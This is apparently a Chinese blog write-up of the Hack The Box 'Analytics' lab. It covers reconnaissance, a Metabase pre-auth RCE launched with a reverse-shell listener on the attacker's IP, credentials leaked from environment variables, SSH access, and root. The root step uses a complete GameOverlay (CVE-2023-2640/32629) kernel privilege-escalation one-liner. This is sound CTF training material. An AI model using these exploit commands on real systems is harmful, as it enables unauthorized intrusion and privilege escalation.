HTB Analytics 渗透测试详细记录

你是慕鸢呀~ 发布于 4 天前 7 次阅读 2188 字 预计阅读时间: 10 分钟


AI 摘要

# HTB Analytics 渗透测试摘要 本文记录了针对HTB Analytics靶机(10.10.11.233)的完整渗透测试过程。攻击链从Metabase应用的预认证RCE漏洞(CVE-2023-38646)开始,通过环境变量泄露的凭据实现容器逃逸,最终利用Ubuntu内核漏洞(CVE-2023-2640 & CVE-2023-32629)获取root权限。 **关键步骤:** 1. 端口扫描发现HTTP服务重定向到analytical.htb 2. 子域名枚举发现data.analytical.htb运行的Metabase应用 3. 利用Metabase 0.46.6预认证RCE漏洞获取容器shell 4. 从环境变量中提取metalytics用户凭据(An4lytics_ds20223#) 5. 通过SSH横向移动到宿主机 6. 利用Ubuntu 22.04.2内核漏洞实现本地提权 **技术亮点:** - 展示了从外部网络到完全控制系统的完整攻击链 - 结合应用层漏洞、配置缺陷和系统漏洞的多层次利用 - 使用overlay文件系统技术的内核提权方法

HTB Analytics 渗透测试详细记录

摘要

本文详细记录了对HTB Analytics (10.10.11.233) 目标靶机的完整渗透测试过程。成功利用Metabase应用程序的预认证远程代码执行漏洞获得初始访问权限,随后通过环境变量中泄露的凭据实现从Docker容器到宿主机的横向移动,最终利用Ubuntu内核漏洞(CVE-2023-2640 & CVE-2023-32629)成功提升至root权限。整个攻击链展示了从外部网络到完全控制目标系统的完整过程。

关键技术

  • Metabase 0.46.6 Pre-Auth RCE (CVE-2023-38646): 利用Metabase应用程序的预认证远程代码执行漏洞
  • Docker容器逃逸: 通过泄露的环境变量凭据实现容器到宿主机的横向移动
  • Ubuntu内核提权 (CVE-2023-2640 & CVE-2023-32629): 利用Ubuntu 22.04.2系统的内核漏洞实现本地权限提升
  • 子域名枚举: 通过HTTP重定向发现隐藏的子域名服务

1. 初始侦察阶段

1.1 端口扫描

使用Nmap对目标主机进行全面的端口扫描和服务识别:

nmap -sT -sCV -O -p22,80 -v -oN nmapscan_0158/tcp_detailed_scan.txt 10.10.11.233

参数详解:

  • -sT: TCP Connect扫描,建立完整的TCP连接
  • -sC: 使用默认NSE脚本进行服务识别
  • -sV: 版本检测,识别服务版本信息
  • -O: 操作系统检测
  • -p22,80: 指定扫描端口22(SSH)和80(HTTP)
  • -v: 详细输出模式
  • -oN: 将结果以正常格式输出到指定文件

扫描结果分析:

# Nmap 7.94SVN scan initiated Thu Jul 10 01:59:30 2025 as: nmap -sT -sCV -O -p22,80 -v -oN nmapscan_0158/tcp_detailed_scan.txt 10.10.11.233
Nmap scan report for 10.10.11.233
Host is up (0.0086s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://analytical.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)

关键发现:

  • SSH服务运行在22端口,版本为OpenSSH 8.9p1
  • HTTP服务运行在80端口,使用nginx 1.18.0
  • HTTP服务存在重定向到 analytical.htb 域名
  • 操作系统推测为Ubuntu Linux

1.2 域名配置

发现HTTP服务重定向到 analytical.htb,需要配置本地hosts文件:

echo "10.10.11.233 analytical.htb" | sudo tee -a /etc/hosts

命令详解:

  • echo: 输出指定字符串
  • |: 管道符,将前一个命令的输出作为后一个命令的输入
  • sudo tee -a: 以root权限追加内容到文件
  • /etc/hosts: 本地DNS解析文件

2. 服务探测与信息收集

2.1 Web应用程序识别

访问 http://analytical.htb 后,发现登录按钮指向另一个子域名 http://data.analytical.htb/

配置新的子域名:

echo "10.10.11.233 data.analytical.htb" | sudo tee -a /etc/hosts

2.2 应用程序指纹识别

访问 http://data.analytical.htb/ 发现运行的是Metabase应用程序。Metabase是一个开源的商业智能和数据分析平台,允许用户通过可视化界面查询和分析数据。

关键信息:

3. 漏洞识别与初始访问

3.1 漏洞搜索

在Exploit-DB数据库中搜索Metabase相关漏洞,发现:

  • 漏洞名称: Metabase 0.46.6 - Pre-Auth Remote Code Execution
  • 漏洞地址: https://www.exploit-db.com/exploits/51797
  • 漏洞类型: 预认证远程代码执行
  • 影响版本: Metabase 0.46.6及之前版本

3.2 漏洞利用

下载并执行漏洞利用脚本:

python a.py -l 10.10.14.11 -p 9999 -P 8888 -u http://data.analytical.htb

参数详解:

  • -l 10.10.14.11: 本地监听IP地址(攻击者机器)
  • -p 9999: 反向shell连接端口
  • -P 8888: 本地HTTP服务端口
  • -u http://data.analytical.htb: 目标Metabase URL

执行结果: 成功获得Metabase容器内的shell访问权限。

3.3 环境信息收集

在获得的shell中执行环境变量查看:

metabase_shell > env

输出结果分析:

SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=1b929e86eedc
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_ds20223#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=2
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env

关键发现:

  • 当前环境为Docker容器(HOSTNAME格式为容器ID)
  • 发现凭据信息:
    • 用户名:metalytics
    • 密码:An4lytics_ds20223#

4. 横向移动

4.1 SSH登录尝试

使用发现的凭据尝试SSH登录到宿主机:

ssh metalytics@10.10.11.233

登录过程:

└──╼ [★]$ ssh metalytics@10.10.11.233
The authenticity of host '10.10.11.233 (10.10.11.233)' can't be established.
ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.233' (ED25519) to the list of known hosts.
metalytics@10.10.11.233's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)

系统信息分析:

  • 操作系统:Ubuntu 22.04.3 LTS
  • 内核版本:6.2.0-25-generic
  • 磁盘使用率:93.2%
  • Docker网络:172.17.0.1
  • 成功从容器逃逸到宿主机

4.2 用户权限确认

metalytics@analytics:~$ ls
user.txt
metalytics@analytics:~$ cat user.txt 
e310d623c31*********5ad7e444c

成功获取user flag。

5. 权限提升前的信息收集

5.1 sudo权限检查

sudo -l
[sudo] password for metalytics: 
Sorry, user metalytics may not run sudo on localhost.

结果: metalytics用户无sudo权限。

5.2 系统版本识别

uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

关键信息:

  • 内核版本:6.2.0-25-generic
  • Ubuntu版本:22.04.2
  • 架构:x86_64

6. 权限提升

6.1 漏洞识别

Ubuntu 22.04.2系统存在已知的本地权限提升漏洞:

  • CVE-2023-2640: GameOverlay FS权限提升漏洞
  • CVE-2023-32629: 本地权限提升漏洞

6.2 漏洞利用

执行权限提升POC:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("su root")'

命令详解:

  • unshare -rm: 创建新的命名空间,-r创建用户命名空间,-m创建挂载命名空间
  • mkdir l u w m: 创建overlay文件系统所需的目录
  • cp /u*/b*/p*3 l/: 复制python3到lower目录
  • setcap cap_setuid+eip: 设置python3的setuid能力
  • mount -t overlay: 创建overlay文件系统
  • os.setuid(0): Python代码设置UID为0(root)

6.3 获取root权限

直接读取root flag:

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cat /root/root.txt")'

8aec3d3addbb*********36eacdc64e

获取交互式root shell:

metalytics@analytics:~$ unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("su root")'
root@analytics:/home/metalytics# cd /root
root@analytics:~# whoami
root

7. 总结

攻击链路图

互联网
   |
   v
[10.10.11.233:80] --> 重定向 --> analytical.htb
   |
   v
[登录按钮] --> data.analytical.htb (Metabase)
   |
   v
[CVE-2023-38646] --> Metabase RCE --> Docker容器Shell
   |
   v
[环境变量泄露] --> metalytics:An4lytics_ds20223#
   |
   v
[SSH横向移动] --> 宿主机普通用户权限
   |
   v
[CVE-2023-2640/32629] --> Ubuntu内核提权 --> root权限

各阶段关键点总结

  1. 侦察阶段: 通过Nmap扫描识别开放端口和服务版本
  2. 信息收集: 通过HTTP重定向发现子域名,识别Metabase应用
  3. 初始访问: 利用Metabase预认证RCE漏洞获得容器权限
  4. 横向移动: 通过环境变量中的凭据SSH登录到宿主机
  5. 权限提升: 利用Ubuntu内核漏洞实现root权限提升

攻击向量展示

  • 应用层漏洞: Metabase预认证远程代码执行
  • 配置缺陷: 环境变量中存储明文凭据
  • 系统漏洞: Ubuntu内核权限提升漏洞
  • 信息泄露: 通过环境变量泄露敏感信息

结束语

本次打靶练习展示了一个经典的攻击链,从外部访问到最终获得系统root权限。

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-07-10